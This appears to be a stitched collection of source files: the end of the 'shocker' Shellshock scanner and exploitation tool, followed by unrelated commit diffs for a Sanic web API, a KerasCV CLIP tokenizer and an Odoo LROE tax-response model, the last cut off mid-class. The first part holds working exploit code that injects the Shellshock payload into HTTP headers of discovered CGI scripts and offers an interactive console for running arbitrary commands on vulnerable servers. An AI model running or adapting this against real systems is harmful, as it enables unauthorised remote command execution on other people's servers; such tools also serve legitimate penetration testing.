                url = req.get_full_url()
                if proxy:
                    req.set_proxy(proxy, "http")

                # Pretend not to be Python for no particular reason
                req.add_header("User-Agent", user_agent)

                # Set the host header correctly (Python includes :port)
                req.add_header("Host", host)

                thread_pool.acquire()

                # Start a thread for each CGI in cgi_list
                if verbose: print "[I] Starting thread %i" % cgi_index
                t = threading.Thread(target = do_check_cgi, args = (req, q, verbose))
                t.start()
                threads.append(t)
            except Exception as e:
                if verbose: print "[I] %s - %s" % (url, e)
            finally:
                pass

        # Wait for all the threads to finish before moving on
        for thread in threads:
            thread.join()

        # Pop any results from the Queue and add them to the list of potentially
        # exploitable urls (exploit_targets) before returning that list
        while not q.empty():
            exploit_targets.append(q.get())
    print "[+] Finished host scan"
    return exploit_targets

def do_check_cgi(req, q, verbose):
    """ Worker thread for scan_hosts to check if url is reachable
    """

    try:
        if urllib2.urlopen(req, None, 5).getcode() == 200:
            q.put(req.get_full_url())
    except Exception as e:
        if verbose: print "[I] %s for %s" % (e, req.get_full_url())
    finally:
        thread_pool.release()

def do_exploit_cgi(proxy, target_list, command, verbose):
    """ For urls identified as potentially exploitable attempt to exploit
    """

    # Flag used to identify whether the exploit has successfully caused the
    # server to return a useful response
    success_flag = ''.join(
        random.choice(string.ascii_uppercase + string.digits
        ) for _ in range(20))

    # Dictionary {header:attack string} to try on discovered CGI scripts
    # Where attack string comprises exploit + success_flag + command
    attacks = {
       "Content-type": "() { :;}; echo; "
       }

    # A dictionary of apparently successfully exploited targets
    # {url: (header, exploit)}
    # Returned to main()
    successful_targets = OrderedDict()

    if len(target_list) > 1:
        print "[+] %i potential targets found" % len(target_list)
    else:
        print "[+] 1 potential target found"
    print "[+] Attempting exploits..."
    for target in target_list:
        print "[+] Trying exploit for %s" % target
        if verbose: print "  [I] Flag set to: %s" % success_flag
        for header, exploit in attacks.iteritems():
            attack = exploit + " echo " + success_flag + "; " + command
            result = do_attack(proxy, target, header, attack, verbose)
            if success_flag in result:
                print "  [!] %s looks vulnerable" % target
                print "  [!] Response returned was:"
                buf = StringIO.StringIO(result)
                if len(result) > (len(success_flag)+1):
                    for line in buf:
                        if line.strip() != success_flag:
                            print "  %s" % line.strip()
                else:
                    print "  [!] A result was returned but was empty..."
                    print "  [!] Maybe try a different exploit command?"
                successful_targets.update({target: (header, exploit)})
                buf.close()
            else:
                print "[-] Not vulnerable"
    return successful_targets

def do_attack(proxy, target, header, attack, verbose):
    result = ""
    host = target.split(":")[1][2:] # substring host from target URL

    try:
        if verbose:
            print "  [I] Header is: %s" % header
            print "  [I] Attack string is: %s" % attack
        req = urllib2.Request(target)
        req.add_header(header, attack)
        if proxy:
            req.set_proxy(proxy, "http")
            if verbose: print "  [I] Proxy set to: %s" % str(proxy)
        req.add_header("User-Agent", user_agent)
        req.add_header("Host", host)
        resp = urllib2.urlopen(req)
        result =  resp.read()
    except Exception as e:
        if verbose: print "[I] Exception - %s - %s" % (target, e)
    finally:
        pass
    return result

def ask_for_console(proxy, successful_targets, verbose):
    """ With any discovered vulnerable servers asks user if they
    would like to choose one of these to send further commands to
    in a semi interactive way
    successful_targets is a dictionary:
    {url: (header, exploit)}

    CURRENTLY MENU CHOICES ARE WRONG - TO BE FIXED
    """

    # Initialise to non zero to enter while loop
    user_input = 1
    ordered_url_list = successful_targets.keys()

    while user_input is not 0:
        result = ""
        print "[+] The following URLs appeared to be exploitable:"
        for x in range(len(successful_targets)):
            print "  [%i] %s" % (x+1, ordered_url_list[x-1])
        print "[+] Would you like exploit further?"
        user_input = raw_input("[?] Enter an URL number or 0 to exit: ")
        try:
            user_input = int(user_input)
        except:
            continue
        if user_input not in range(len(successful_targets)+1):
            print "[-] Please enter a number between 0 and %i" % len(successful_targets)
            continue
        elif not user_input:
            continue
        target = ordered_url_list[user_input-1]
        header = successful_targets[target][0]
        command = raw_input("[+] Enter command to run: ")
        if command:
            attack = successful_targets[target][1] + command
            result = do_attack(proxy, target, header, attack, verbose)
        else:
            print "[-] No command entered"
        print result

def validate_address(hostaddress):
    """ Attempt to identify if proposed host address is invalid by matching
    against some very rough regexes """

    singleIP_pattern = re.compile('^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$')
    FQDN_pattern = re.compile('^(\w+\.)*\w+$')
    if singleIP_pattern.match(hostaddress) or FQDN_pattern.match(hostaddress):
        return True
    else:
        print "Host %s appears invalid, exiting..." % hostaddress
        exit(0)

def get_targets_from_file(file_name):
    """ Import targets to scan from file
    """

    host_target_list = []
    with open(file_name, 'r') as f:
        for line in f:
            line = line.strip()
            if not line.startswith('#') and validate_address(line):
                host_target_list.append(line)
    print "[+] %i hosts imported from %s" % (len(host_target_list), file_name)
    return host_target_list

def import_cgi_list_from_file(file_name):
    """ Import CGIs to scan from file
    """

    cgi_list = []
    with open(file_name, 'r') as f:
        for line in f:
            if not line.startswith('#'):
                cgi_list.append(line.strip())
    print "[+] %i potential targets imported from %s" % (len(cgi_list), file_name)
    return cgi_list

def main():
    print """
   .-. .            .
  (   )|            |
   `-. |--. .-.  .-.|.-. .-. .--.
  (   )|  |(   )(   |-.'(.-' |
   `-' '  `-`-'  `-''  `-`--''  v0.6

 Tom Watson, tom.watson@nccgroup.com
 http://www.github.com/nccgroup/shocker

 Released under the GNU Affero General Public License
 (http://www.gnu.org/licenses/agpl-3.0.html)

    """

    # Handle CTRL-c elegently
    signal.signal(signal.SIGINT, signal_handler)

    # Handle command line argumemts
    parser = argparse.ArgumentParser(
        description='A Shellshock scanner and exploitation tool',
        epilog='Examples of use can be found in the README'
        )
    targets = parser.add_mutually_exclusive_group(required=True)
    targets.add_argument(
        '--Hostname',
        '-H',
        type = str,
        help = 'A target host'
        )
    targets.add_argument(
        '--file',
	'-f',
        type = str,
        help = 'File containing a list of targets'
        )
    cgis = parser.add_mutually_exclusive_group()
    cgis.add_argument(
        '--cgilist',
        type = str,
        default = './shocker-cgi_list',
        help = 'File containing a list of CGIs to try'
        )
    cgis.add_argument(
        '--cgi',
        '-c',
        type = str,
        help = "Single CGI to check (e.g. /cgi-bin/test.cgi)"
        )
    parser.add_argument(
        '--port',
        '-p',
        default = 80,
        type = int,
        help = 'The target port number (default=80)'
        )
    parser.add_argument(
        '--command',
        default = "/bin/uname -a",
        help = "Command to execute (default=/bin/uname -a)"
        )
    parser.add_argument(
        '--proxy',
        help = "*A BIT BROKEN RIGHT NOW* Proxy to be used in the form 'ip:port'"
        )
    parser.add_argument(
        '--ssl',
        '-s',
        action = "store_true",
        default = False,
        help = "Use SSL (default=False)"
        )
    parser.add_argument(
        '--threads',
        '-t',
        type = int,
        default = 10,
        help = "Maximum number of threads (default=10, max=100)"
        )
    parser.add_argument(
        '--verbose',
        '-v',
        action = "store_true",
        default = False,
        help = "Be verbose in output"
        )
    args = parser.parse_args()

    # Assign options to variables
    if args.Hostname:
        host_target_list = [args.Hostname]
    else:
        host_target_list = get_targets_from_file(args.file)
    if not len(host_target_list) > 0:
        print "[-] No valid targets provided, exiting..."
        exit (0)
    port = str(args.port)
    if args.proxy is not None:
        proxy = args.proxy
    else:
        proxy = ""
    verbose = args.verbose
    command = args.command
    if args.ssl == True or port == "443":
        protocol = "https"
    else:
        protocol = "http"
    global thread_pool
    if args.threads > 100:
        print "Maximum number of threads is 100"
        exit(0)
    else:
        thread_pool = threading.BoundedSemaphore(args.threads)
    if args.cgi is not None:
        cgi_list = [args.cgi]
        print "[+] Single target '%s' being used" % cgi_list[0]
    else:
        cgi_list = import_cgi_list_from_file(args.cgilist)

    # Check hosts resolve and are reachable on the chosen port
    confirmed_hosts = check_hosts(host_target_list, port, verbose)

    # Go through the cgi_list looking for any present on the target host
    target_list = scan_hosts(protocol, confirmed_hosts, port, cgi_list, proxy, verbose)

    # If any cgi scripts were found on the target host try to exploit them
    if len(target_list):
        successful_targets = do_exploit_cgi(proxy, target_list, command, verbose)
        if len(successful_targets):
            ask_for_console(proxy, successful_targets, verbose)
    else:
        print "[+] No potential targets found :("
    print "[+] The end"

if __name__ == '__main__':
    main()
<|endoftext|>


<commit_before>from sanic.exceptions import RequestTimeout
from sanic.request import Request
from sanic.response import json

from gutenberg_http import app
from gutenberg_http.errors import InvalidUsage
from gutenberg_http.logic import body as _body
from gutenberg_http.logic import metadata as _metadata
from gutenberg_http.logic import search as _search

@app.route('/texts/<text_id:int>')
def metadata(request: Request, text_id: int):
    include = _metadata(text_id, request.args.get('include'))
    return json({'text_id': text_id, 'metadata': include})

# noinspection PyUnusedLocal
@app.route('/texts/<text_id:int>/body')
def body(request: Request, text_id: int):
    fulltext = _body(text_id)
    return json({'text_id': text_id, 'body': fulltext})

# noinspection PyUnusedLocal
@app.route('/search/<query>')
def search(request: Request, query: str):
    results = _search(query, request.args.get('include'))
    return json({'texts': results})

# noinspection PyUnusedLocal
@app.exception(InvalidUsage)
def bad_request(request: Request, exception: InvalidUsage):
    error = {'error': 'invalid_usage', 'message': exception.message}
    return json(error, exception.status_code)

# noinspection PyUnusedLocal
@app.exception(RequestTimeout)
def timeout(request: Request, exception: RequestTimeout):
    error = {'error': 'timeout', 'message': 'The request timed out.'}
    return json(error, exception.status_code)

# noinspection PyUnusedLocal
@app.exception(Exception)
def on_exception(request: Request, exception: Exception):
    error = {'error': exception.__class__.__name__, 'message': str(exception)}
    return json(error, getattr(exception, 'status_code', 500))

# noinspection PyUnusedLocal,PyProtectedMember
@app.route('/healthcheck')
def healthcheck(request: Request):
    return json({
        'caches': {
            'metadata': _metadata.cache_info()._asdict(),
            'body': _body.cache_info()._asdict(),
            'search': _search.cache_info()._asdict(),
        }
    })
<commit_msg>Don't block on views<commit_after>from sanic.exceptions import RequestTimeout
from sanic.request import Request
from sanic.response import json

from gutenberg_http import app
from gutenberg_http.errors import InvalidUsage
from gutenberg_http.logic import body as _body
from gutenberg_http.logic import metadata as _metadata
from gutenberg_http.logic import search as _search

@app.route('/texts/<text_id:int>')
async def metadata(request: Request, text_id: int):
    include = _metadata(text_id, request.args.get('include'))
    return json({'text_id': text_id, 'metadata': include})

# noinspection PyUnusedLocal
@app.route('/texts/<text_id:int>/body')
async def body(request: Request, text_id: int):
    fulltext = _body(text_id)
    return json({'text_id': text_id, 'body': fulltext})

# noinspection PyUnusedLocal
@app.route('/search/<query>')
async def search(request: Request, query: str):
    results = _search(query, request.args.get('include'))
    return json({'texts': results})

# noinspection PyUnusedLocal
@app.exception(InvalidUsage)
async def bad_request(request: Request, exception: InvalidUsage):
    error = {'error': 'invalid_usage', 'message': exception.message}
    return json(error, exception.status_code)

# noinspection PyUnusedLocal
@app.exception(RequestTimeout)
async def timeout(request: Request, exception: RequestTimeout):
    error = {'error': 'timeout', 'message': 'The request timed out.'}
    return json(error, exception.status_code)

# noinspection PyUnusedLocal
@app.exception(Exception)
async def on_exception(request: Request, exception: Exception):
    error = {'error': exception.__class__.__name__, 'message': str(exception)}
    return json(error, getattr(exception, 'status_code', 500))

# noinspection PyUnusedLocal,PyProtectedMember
@app.route('/healthcheck')
async def healthcheck(request: Request):
    return json({
        'caches': {
            'metadata': _metadata.cache_info()._asdict(),
            'body': _body.cache_info()._asdict(),
            'search': _search.cache_info()._asdict(),
        }
    })
<|endoftext|>


<commit_before># Copyright 2022 The KerasCV Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""This code is taken nearly verbatim from https://github.com/divamgupta/stable-diffusion-tensorflow."""

import gzip
import html
from functools import lru_cache

import regex as re
from tensorflow import keras

@lru_cache()
def bytes_to_unicode():
    """Return a list of utf-8 bytes and a corresponding list of unicode strings.

    The reversible bpe codes work on unicode strings.
    This means you need a large # of unicode characters in your vocab if you want to avoid UNKs.
    When you're at something like a 10B token dataset you end up needing around 5K for decent coverage.
    This is a signficant percentage of your normal, say, 32K bpe vocab.
    To avoid that, we want lookup tables between utf-8 bytes and unicode strings.
    And avoids mapping to whitespace/control characters the bpe code barfs on.
    """
    bs = (
        list(range(ord("!"), ord("~") + 1))
        + list(range(ord("¡"), ord("¬") + 1))
        + list(range(ord("®"), ord("ÿ") + 1))
    )
    cs = bs[:]
    n = 0
    for b in range(2**8):
        if b not in bs:
            bs.append(b)
            cs.append(2**8 + n)
            n += 1
    cs = [chr(n) for n in cs]
    return dict(zip(bs, cs))

def get_pairs(word):
    """Return set of symbol pairs in a word.

    A word is represented as tuple of symbols (symbols being variable-length strings).
    """
    pairs = set()
    prev_char = word[0]
    for char in word[1:]:
        pairs.add((prev_char, char))
        prev_char = char
    return pairs

def basic_clean(text):
    text = html.unescape(html.unescape(text))
    return text.strip()

def whitespace_clean(text):
    text = re.sub(r"\s+", " ", text)
    text = text.strip()
    return text

class SimpleTokenizer:
    def __init__(self, bpe_path=None):
        bpe_path = bpe_path or keras.utils.get_file(
            "bpe_simple_vocab_16e6.txt.gz",
            "https://github.com/openai/CLIP/blob/main/clip/bpe_simple_vocab_16e6.txt.gz?raw=true",
            file_hash="924691ac288e54409236115652ad4aa250f48203de50a9e4722a6ecd48d6804a",
        )
        self.byte_encoder = bytes_to_unicode()
        self.byte_decoder = {v: k for k, v in self.byte_encoder.items()}
        merges = gzip.open(bpe_path).read().decode("utf-8").split("\n")
        merges = merges[1 : 49152 - 256 - 2 + 1]
        merges = [tuple(merge.split()) for merge in merges]
        vocab = list(bytes_to_unicode().values())
        vocab = vocab + [v + "</w>" for v in vocab]
        for merge in merges:
            vocab.append("".join(merge))
        vocab.extend(["<|startoftext|>", "<|endoftext|>"])
        self.encoder = dict(zip(vocab, range(len(vocab))))
        self.decoder = {v: k for k, v in self.encoder.items()}
        self.bpe_ranks = dict(zip(merges, range(len(merges))))
        self.cache = {
            "<|startoftext|>": "<|startoftext|>",
            "<|endoftext|>": "<|endoftext|>",
        }
        self.pat = re.compile(
            r"""<\|startoftext\|>|<\|endoftext\|>|'s|'t|'re|'ve|'m|'ll|'d|[\p{L}]+|[\p{N}]|[^\s\p{L}\p{N}]+""",
            re.IGNORECASE,
        )

    def bpe(self, token):
        if token in self.cache:
            return self.cache[token]
        word = tuple(token[:-1]) + (token[-1] + "</w>",)
        pairs = get_pairs(word)

        if not pairs:
            return token + "</w>"

        while True:
            bigram = min(pairs, key=lambda pair: self.bpe_ranks.get(pair, float("inf")))
            if bigram not in self.bpe_ranks:
                break
            first, second = bigram
            new_word = []
            i = 0
            while i < len(word):
                try:
                    j = word.index(first, i)
                    new_word.extend(word[i:j])
                    i = j
                except:
                    new_word.extend(word[i:])
                    break

                if word[i] == first and i < len(word) - 1 and word[i + 1] == second:
                    new_word.append(first + second)
                    i += 2
                else:
                    new_word.append(word[i])
                    i += 1
            new_word = tuple(new_word)
            word = new_word
            if len(word) == 1:
                break
            else:
                pairs = get_pairs(word)
        word = " ".join(word)
        self.cache[token] = word
        return word

    def encode(self, text):
        bpe_tokens = []
        text = whitespace_clean(basic_clean(text)).lower()
        for token in re.findall(self.pat, text):
            token = "".join(self.byte_encoder[b] for b in token.encode("utf-8"))
            bpe_tokens.extend(
                self.encoder[bpe_token] for bpe_token in self.bpe(token).split(" ")
            )
        return [49406] + bpe_tokens + [49407]

    def decode(self, tokens):
        text = "".join([self.decoder[token] for token in tokens])
        text = (
            bytearray([self.byte_decoder[c] for c in text])
            .decode("utf-8", errors="replace")
            .replace("</w>", " ")
        )
        return text
<commit_msg>Readability improvement to SD (#847)<commit_after># Copyright 2022 The KerasCV Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""This code is taken nearly verbatim from https://github.com/divamgupta/stable-diffusion-tensorflow."""

import gzip
import html
from functools import lru_cache

import regex as re
from tensorflow import keras

@lru_cache()
def bytes_to_unicode():
    """Return a list of utf-8 bytes and a corresponding list of unicode strings.

    The reversible bpe codes work on unicode strings.
    This means you need a large # of unicode characters in your vocab if you want to avoid UNKs.
    When you're at something like a 10B token dataset you end up needing around 5K for decent coverage.
    This is a signficant percentage of your normal, say, 32K bpe vocab.
    To avoid that, we want lookup tables between utf-8 bytes and unicode strings.
    And avoids mapping to whitespace/control characters the bpe code barfs on.
    """
    bs = (
        list(range(ord("!"), ord("~") + 1))
        + list(range(ord("¡"), ord("¬") + 1))
        + list(range(ord("®"), ord("ÿ") + 1))
    )
    cs = bs[:]
    n = 0
    for b in range(2**8):
        if b not in bs:
            bs.append(b)
            cs.append(2**8 + n)
            n += 1
    cs = [chr(n) for n in cs]
    return dict(zip(bs, cs))

def get_pairs(word):
    """Return set of symbol pairs in a word.

    A word is represented as tuple of symbols (symbols being variable-length strings).
    """
    pairs = set()
    prev_char = word[0]
    for char in word[1:]:
        pairs.add((prev_char, char))
        prev_char = char
    return pairs

def basic_clean(text):
    text = html.unescape(html.unescape(text))
    return text.strip()

def whitespace_clean(text):
    text = re.sub(r"\s+", " ", text)
    text = text.strip()
    return text

class SimpleTokenizer:
    def __init__(self, bpe_path=None):
        bpe_path = bpe_path or keras.utils.get_file(
            "bpe_simple_vocab_16e6.txt.gz",
            "https://github.com/openai/CLIP/blob/main/clip/bpe_simple_vocab_16e6.txt.gz?raw=true",
            file_hash="924691ac288e54409236115652ad4aa250f48203de50a9e4722a6ecd48d6804a",
        )
        self.byte_encoder = bytes_to_unicode()
        self.byte_decoder = {v: k for k, v in self.byte_encoder.items()}
        merges = gzip.open(bpe_path).read().decode("utf-8").split("\n")
        merges = merges[1 : 49152 - 256 - 2 + 1]
        merges = [tuple(merge.split()) for merge in merges]
        vocab = list(bytes_to_unicode().values())
        vocab = vocab + [v + "</w>" for v in vocab]
        for merge in merges:
            vocab.append("".join(merge))
        vocab.extend(["<|startoftext|>", "<|endoftext|>"])
        self.encoder = dict(zip(vocab, range(len(vocab))))
        self.decoder = {v: k for k, v in self.encoder.items()}
        self.bpe_ranks = dict(zip(merges, range(len(merges))))
        self.cache = {
            "<|startoftext|>": "<|startoftext|>",
            "<|endoftext|>": "<|endoftext|>",
        }
        self.pat = re.compile(
            r"""<\|startoftext\|>|<\|endoftext\|>|'s|'t|'re|'ve|'m|'ll|'d|[\p{L}]+|[\p{N}]|[^\s\p{L}\p{N}]+""",
            re.IGNORECASE,
        )

    @property
    def end_of_text(self):
        return self.encoder["<|endoftext|>"]

    @property
    def start_of_text(self):
        return self.encoder["<|startoftext|>"]

    def bpe(self, token):
        if token in self.cache:
            return self.cache[token]
        word = tuple(token[:-1]) + (token[-1] + "</w>",)
        pairs = get_pairs(word)

        if not pairs:
            return token + "</w>"

        while True:
            bigram = min(pairs, key=lambda pair: self.bpe_ranks.get(pair, float("inf")))
            if bigram not in self.bpe_ranks:
                break
            first, second = bigram
            new_word = []
            i = 0
            while i < len(word):
                try:
                    j = word.index(first, i)
                    new_word.extend(word[i:j])
                    i = j
                except:
                    new_word.extend(word[i:])
                    break

                if word[i] == first and i < len(word) - 1 and word[i + 1] == second:
                    new_word.append(first + second)
                    i += 2
                else:
                    new_word.append(word[i])
                    i += 1
            new_word = tuple(new_word)
            word = new_word
            if len(word) == 1:
                break
            else:
                pairs = get_pairs(word)
        word = " ".join(word)
        self.cache[token] = word
        return word

    def encode(self, text):
        bpe_tokens = []
        text = whitespace_clean(basic_clean(text)).lower()
        for token in re.findall(self.pat, text):
            token = "".join(self.byte_encoder[b] for b in token.encode("utf-8"))
            bpe_tokens.extend(
                self.encoder[bpe_token] for bpe_token in self.bpe(token).split(" ")
            )
        return [self.start_of_text] + bpe_tokens + [self.end_of_text]

    def decode(self, tokens):
        text = "".join([self.decoder[token] for token in tokens])
        text = (
            bytearray([self.byte_decoder[c] for c in text])
            .decode("utf-8", errors="replace")
            .replace("</w>", " ")
        )
        return text
<|endoftext|>


<commit_before># Copyright (2021) Binovo IT Human Project SL
# License AGPL-3.0 or later (https://www.gnu.org/licenses/agpl).
import base64
from enum import Enum
from odoo import models, fields, api, _
from ..lroe.lroe_xml_schema import LROEXMLSchema,\
    LROEXMLSchemaModeNotSupported,\
    LROEOperationTypeEnum
from .lroe_operation import LROEOperationEnum, LROEModelEnum
from odoo.addons.l10n_es_ticketbai_api.models.ticketbai_response\
    import TicketBaiResponseState
from odoo.exceptions import ValidationError

class LROEOperationResponseState(Enum):
    BUILD_ERROR = '-2'
    REQUEST_ERROR = '-1'
    CORRECT = 'Correcto'
    PARTIALLY_CORRECT = 'Parcialmente correcto'
    INCORRECT = 'Incorrecto'

class LROEOperationResponseLineState(Enum):
    CORRECT = 'Correcto'
    CORRECT_WITH_ERRORS = 'Aceptado con errores'
    INCORRECT = 'Incorrecto'

class LROEOperationResponse(models.Model):
    _name = 'lroe.operation.response'
    _description = "LROE Operation Response"

    lroe_operation_id = fields.Many2one(
        comodel_name='lroe.operation',
        required=True,
        ondelete='cascade')
    response_line_ids = fields.One2many(
        comodel_name='lroe.operation.response.line',
        inverse_name='lroe_response_id',
        string="Response Line")
    xml = fields.Binary(string='XML Response')
    xml_fname = fields.Char('XML File Name')
    state = fields.Selection(selection=[
        (LROEOperationResponseState.BUILD_ERROR.value, 'Build error'),
        (LROEOperationResponseState.REQUEST_ERROR.value, 'Request error'),
        (LROEOperationResponseState.CORRECT.value, 'Correct'),
        (LROEOperationResponseState.PARTIALLY_CORRECT.value, 'Partially correct'),
        (LROEOperationResponseState.INCORRECT.value, 'Incorrect')], required=True)
    code = fields.Char()
    description = fields.Char()
    lroe_record_id = fields.Char()
    lroe_record_number = fields.Char()
    lroe_record_date = fields.Char()

    @staticmethod
    def get_tbai_state(lroe_response_operation):
        if lroe_response_operation == LROEOperationResponseState.BUILD_ERROR.value or\
           lroe_response_operation == LROEOperationResponseState.REQUEST_ERROR.value:
            return lroe_response_operation
        if lroe_response_operation == LROEOperationResponseState.CORRECT.value:
            return TicketBaiResponseState.RECEIVED.value
        if lroe_response_operation == LROEOperationResponseState.INCORRECT.value:
            return TicketBaiResponseState.REJECTED.value
        if lroe_response_operation\
           == LROEOperationResponseState.PARTIALLY_CORRECT.value\
           or lroe_response_operation\
           == LROEOperationResponseLineState.CORRECT_WITH_ERRORS.value:
            # TODO LROE: en caso de e envío de un único fichero se nos
            # puede dar esta respuesta ??? que hacemos ???
            return TicketBaiResponseState.RECEIVED.value
        return None

    @api.model
    def prepare_lroe_error_values(self, lroe_operation, msg, **kwargs):
        values = kwargs
        tbai_response_model = self.env['tbai.response']
        tbai_response_dict = {
            'tbai_invoice_id': lroe_operation.tbai_invoice_ids[0].id,
            'state': LROEOperationResponse.get_tbai_state(
                LROEOperationResponseState.REQUEST_ERROR.value
            )
        }
        tbai_response_obj = tbai_response_model.create(tbai_response_dict)
        values.update({
            'lroe_operation_id': lroe_operation.id,
            'state': LROEOperationResponseState.BUILD_ERROR.value,
            'description': _("Internal API or Operation error") + msg,
            'response_line_ids': [(0, 0, {
                'state': LROEOperationResponseLineState.INCORRECT.value,
                'tbai_response_id': tbai_response_obj.id
            })]
        })
        return values

    @api.model
    def prepare_lroe_response_values(self, lroe_srv_response, lroe_operation, **kwargs):

        def validate_response_line_state(response_line_record_state):
            if response_line_record_state not in [
                LROEOperationResponseLineState.CORRECT.value,
                LROEOperationResponseLineState.CORRECT_WITH_ERRORS.value,
                LROEOperationResponseLineState.INCORRECT.value
            ]:
                raise ValidationError(_('LROEOperationResponseLineState not VALID !'))

        def get_lroe_response_xml_header():
            return xml_root.get('Cabecera')

        def get_lroe_response_xml_presenter():
            return xml_root.get('DatosPresentacion')

        def get_lroe_response_xml_records():
            xml_lroe_records = xml_root.get('Registros').get('Registro')
            len_lroe_records = 0
            if isinstance(xml_lroe_records, dict):
                len_lroe_records = 1
            elif isinstance(xml_lroe_records, list):
                len_lroe_records = len(xml_lroe_records)
            return len_lroe_records, xml_lroe_records

        def get_lroe_xml_schema():
            operation_type = None
            if lroe_operation.model == LROEModelEnum.model_pj_240.value:
                if lroe_operation.type == LROEOperationEnum.create.value:
                    operation_type =\
                        LROEOperationTypeEnum.resp_alta_sg_invoice_pj_240.value
                elif lroe_operation.type == LROEOperationEnum.cancel.value:
                    operation_type =\
                        LROEOperationTypeEnum.resp_cancel_sg_invoice_pj_240.value
                xml_schema = LROEXMLSchema(operation_type)
            elif lroe_operation.model == LROEModelEnum.model_pf_140.value:
                if lroe_operation.type == LROEOperationEnum.create.value:
                    operation_type =\
                        LROEOperationTypeEnum.resp_alta_sg_invoice_pf_140.value
                elif lroe_operation.type == LROEOperationEnum.cancel.value:
                    operation_type =\
                        LROEOperationTypeEnum.resp_cancel_sg_invoice_pf_140.value
                xml_schema = LROEXMLSchema(operation_type)
            else:
                raise LROEXMLSchemaModeNotSupported(
                    "TicketBAI - Batuz LROE XML model not supported!")
            return operation_type, xml_schema

        def set_tbai_response_lroe_line():
            response_line_record_data = response_line_record.get('SituacionRegistro')
            response_line_record_state = response_line_record_data.get('EstadoRegistro')
            validate_response_line_state(response_line_record_state)
            response_line_record_code = None
            response_line_record_message = None
            if not response_line_record_state\
               == LROEOperationResponseLineState.CORRECT.value:
                response_line_record_code =\
                    response_line_record_data.get('CodigoErrorRegistro')
                response_line_record_message = '(ES): '\
                    + response_line_record_data.get('DescripcionErrorRegistroES') \
                    + '(EU): '\
                    + response_line_record_data.get('DescripcionErrorRegistroEU')

            tbai_response_model = self.env['tbai.response']
            tbai_response_dict = {
                'tbai_invoice_id': lroe_operation.tbai_invoice_ids[0].id,
                'state': LROEOperationResponse.get_tbai_state(
                    response_line_record_state)
            }
            for key in kwargs:
                tbai_response_dict[key] = kwargs[key]
            tbai_response_obj = tbai_response_model.create(tbai_response_dict)
            response_line_ids.append((0, 0, {
                'state': response_line_record_state,
                'code': response_line_record_code,
                'description': response_line_record_message,
                'tbai_response_id': tbai_response_obj.id}))
            if response_line_ids:
                values.update({'response_line_ids': response_line_ids})

        lroe_operation_type, lroe_xml_schema = get_lroe_xml_schema()
        values = {}
        lroe_srv_response_type = lroe_srv_response.get_lroe_srv_response_type()
        lroe_srv_response_code = lroe_srv_response.get_lroe_srv_response_code()
        lroe_srv_response_message = lroe_srv_response.get_lroe_srv_response_message()
        lroe_srv_response_date = lroe_srv_response.get_lroe_srv_response_record_date()
        errno = lroe_srv_response.errno
        strerror = lroe_srv_response.strerror
        if lroe_srv_response.error:
            tbai_response_model = self.env['tbai.response']
            tbai_response_dict = {
                'tbai_invoice_id': lroe_operation.tbai_invoice_ids[0].id,
                'state': LROEOperationResponse.get_tbai_state(
                    LROEOperationResponseState.REQUEST_ERROR.value)
            }
            for key in kwargs:
                tbai_response_dict[key] = kwargs[key]
            tbai_response_obj = tbai_response_model.create(tbai_response_dict)
            values.update({
                'lroe_operation_id': lroe_operation.id,
                'state': LROEOperationResponseState.REQUEST_ERROR.value,
                'code': lroe_srv_response_code if lroe_srv_response_code else errno,
                'description': lroe_srv_response_message
                if lroe_srv_response_message else strerror,
                'response_line_ids': [(0, 0, {
                    'state': LROEOperationResponseLineState.INCORRECT.value,
                    'code': lroe_srv_response_code
                    if lroe_srv_response_code else errno,
                    'description': lroe_srv_response_message
                    if lroe_srv_response_message else strerror,
                    'tbai_response_id': tbai_response_obj.id
                })]
            })
        else:
            values.update({
                'lroe_operation_id': lroe_operation.id,
                'state': lroe_srv_response_type,
            })
            if lroe_srv_response_type in [
                    LROEOperationResponseState.CORRECT.value,
                    LROEOperationResponseState.PARTIALLY_CORRECT.value]:
                lroe_srv_rec_id = lroe_srv_response.get_lroe_srv_response_record_id()
                lroe_srv_rec_number = \
                    lroe_srv_response.get_lroe_srv_response_record_number()
                values.update({'lroe_record_date': lroe_srv_response_date,
                               'lroe_record_id': lroe_srv_rec_id,
                               'lroe_record_number': lroe_srv_rec_number})
            else:
                values.update({
                    'lroe_record_date': lroe_srv_response_date,
                    'code': lroe_srv_response_code if lroe_srv_response_code else errno,
                    'description': lroe_srv_response_message
                    if lroe_srv_response_message else strerror
                })
            xml_data = lroe_srv_response.data
            if xml_data:
                values.update({
                    'xml': base64.encodebytes(xml_data),
                    'xml_fname': lroe_operation.name + '_response.xml'
                })
                xml_root = lroe_xml_schema.parse_xml(
                    xml_data
                )[lroe_xml_schema.root_element]
                len_response_line_records, response_line_records =\
                    get_lroe_response_xml_records()
                response_line_ids = []
                if len_response_line_records == 1:
                    response_line_record = response_line_records
                    set_tbai_response_lroe_line()
                elif len_response_line_records > 1:
                    for response_line_record in response_line_records:
                        set_tbai_response_lroe_line()
            else:
                tbai_response_model = self.env['tbai.response']
                tbai_response_dict = {
                    'tbai_invoice_id': lroe_operation.tbai_invoice_ids[0].id,
                    'state': LROEOperationResponse.get_tbai_state(
                        LROEOperationResponseState.REQUEST_ERROR.value)
                }
                for key in kwargs:
                    tbai_response_dict[key] = kwargs[key]
                tbai_response_obj = tbai_response_model.create(tbai_response_dict)
                values.update({
                    'response_line_ids': [(0, 0, {
                        'state': LROEOperationResponseLineState.INCORRECT.value,
                        'code': lroe_srv_response_code
                        if lroe_srv_response_code else errno,
                        'description': lroe_srv_response_message
                        if lroe_srv_response_message else strerror,
                        'tbai_response_id': tbai_response_obj.id
                    })]
                })
        return values

class LROEOperationResponseLine(models.Model):
    _name = 'lroe.operation.response.line'
    _description = "LROE Operation Response Line"
    _order = 'id desc'

    lroe_response_id = fields.Many2one(
        comodel_name='lroe.operation.response',
